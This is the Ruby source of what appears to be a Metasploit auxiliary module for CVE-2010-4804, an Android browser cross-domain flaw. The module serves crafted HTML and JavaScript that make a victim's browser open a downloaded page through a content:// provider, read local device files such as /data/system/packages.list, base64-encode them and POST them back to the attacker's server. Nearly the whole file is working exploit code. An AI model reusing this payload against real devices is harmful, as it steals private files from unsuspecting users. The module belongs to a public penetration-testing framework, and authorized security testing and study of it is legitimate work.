182 lines
4.7 KiB
Ruby
182 lines
4.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Android Content Provider File Disclosure',
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'Description' => %q{
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This module exploits a cross-domain issue within the Android web browser to
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exfiltrate files from a vulnerable device.
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},
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'Author' =>
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[
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'Thomas Cannon', # Original discovery, partial disclsoure
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'jduck' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'Actions' =>
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[
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[ 'WebServer' ]
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],
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'PassiveActions' =>
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[
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'WebServer'
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],
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'References' =>
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[
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[ 'CVE', '2010-4804' ],
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[ 'URL', 'http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/' ]
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],
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'DefaultAction' => 'WebServer'))
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register_options(
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[
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OptString.new('FILES', [ false, "The remote file(s) to steal",
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'/proc/version,/proc/self/status,/data/system/packages.list' ])
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], self.class)
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end
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def on_request_uri(cli, request)
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print_status("Request '#{request.method} #{request.uri}'")
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selected_headers = [ 'user-agent', 'origin', 'referer' ]
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request.headers.each_key { |k|
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next if not selected_headers.include? k.downcase
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print_status("#{k}: #{request.headers[k]}")
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}
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return process_post(cli, request) if request.method == "POST"
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# Only GET requests now..
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if request.uri =~ /\.html?$/
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filename = request.uri.split('/').last
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target_files = datastore['FILES'].split(',').map{ |e|
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"'%s'" % e
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}.join(',')
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upload_url = get_uri(cli)
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upload_url << '/' if upload_url[-1,1] != '/'
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upload_url << 'q'
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html = <<-EOS
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<html>
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<body>
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<script lang=javascript>
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var target_files = Array(#{target_files});
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var results = new Array();
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function addField(form, name, value) {
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var hf = document.createElement('input');
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hf.setAttribute('type', 'hidden');
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hf.setAttribute('name', name);
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hf.setAttribute('value', value);
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form.appendChild(hf);
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}
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function uploadFiles(files) {
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var form = document.createElement('form');
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form.setAttribute('method', 'POST');
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form.setAttribute('action', '#{upload_url}');
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var i = 0;
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for (var fn in files) {
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addField(form, 'f'+i, btoa(fn));
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addField(form, 'd'+i, files[fn]);
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i += 1;
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}
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document.body.appendChild(form);
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form.submit();
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}
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for (var fn in target_files) {
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fn = target_files[fn];
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xh = new XMLHttpRequest();
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xh.open('GET', fn, false);
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xh.onreadystatechange = function() { if (xh.readyState == 4) { results[fn] = btoa(xh.responseText); } }
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xh.send();
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}
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uploadFiles(results);
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</script>
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</body>
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</html>
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EOS
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print_status("Sending payload HTML ...")
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send_response_html(cli, html,
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{
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'Cache-Control' => 'public',
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'Content-Description' => 'File Transfer',
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'Content-Disposition' => "attachment; filename=#{filename}",
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'Content-Transfer-Encoding' => 'binary',
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'Content-Type' => 'text/html'
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})
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else
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payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8))
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html = <<-EOS
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<html>
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<body>
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<script lang=javascript>
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setTimeout("document.location = 'content://com.android.htmlfileprovider/sdcard/download/#{payload_fn}.html';", 5000);
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setTimeout("document.location = '#{payload_fn}.html';", 500);
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</script>
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</body>
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</html>
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EOS
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print_status("Sending initial HTML ...")
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send_response_html(cli, html)
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end
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end
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def process_post(cli, request)
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results = {}
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if request and request.body
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request.body.split('&').each { |var|
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parts = var.split('=', 2)
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if parts.length != 2
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print_error("Weird, we got a var that doesn't contain an equals: #{parts.inspect}")
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else
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fln,fld = parts
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fld = Rex::Text.uri_decode(fld).unpack('m').first
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start = fln.slice!(0,1)
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if start == "f"
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results[fln] ||= {}
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results[fln][:filename] = fld
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elsif start == "d"
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results[fln] ||= {}
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results[fln][:data] = fld
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end
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end
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}
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end
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results.each_key { |k|
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e = results[k]
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fn = e[:filename]
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data = e[:data]
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print_good("#{fn.inspect} contains #{data.inspect}")
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fn.gsub!(/[\/\\]/, '.')
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fn.gsub!(/^\./, '')
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store_loot('android.fs.'+fn, 'application/octet-stream', cli.peerhost, data, fn)
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}
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send_response_html(cli, "thx")
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end
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def run
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exploit()
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end
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end
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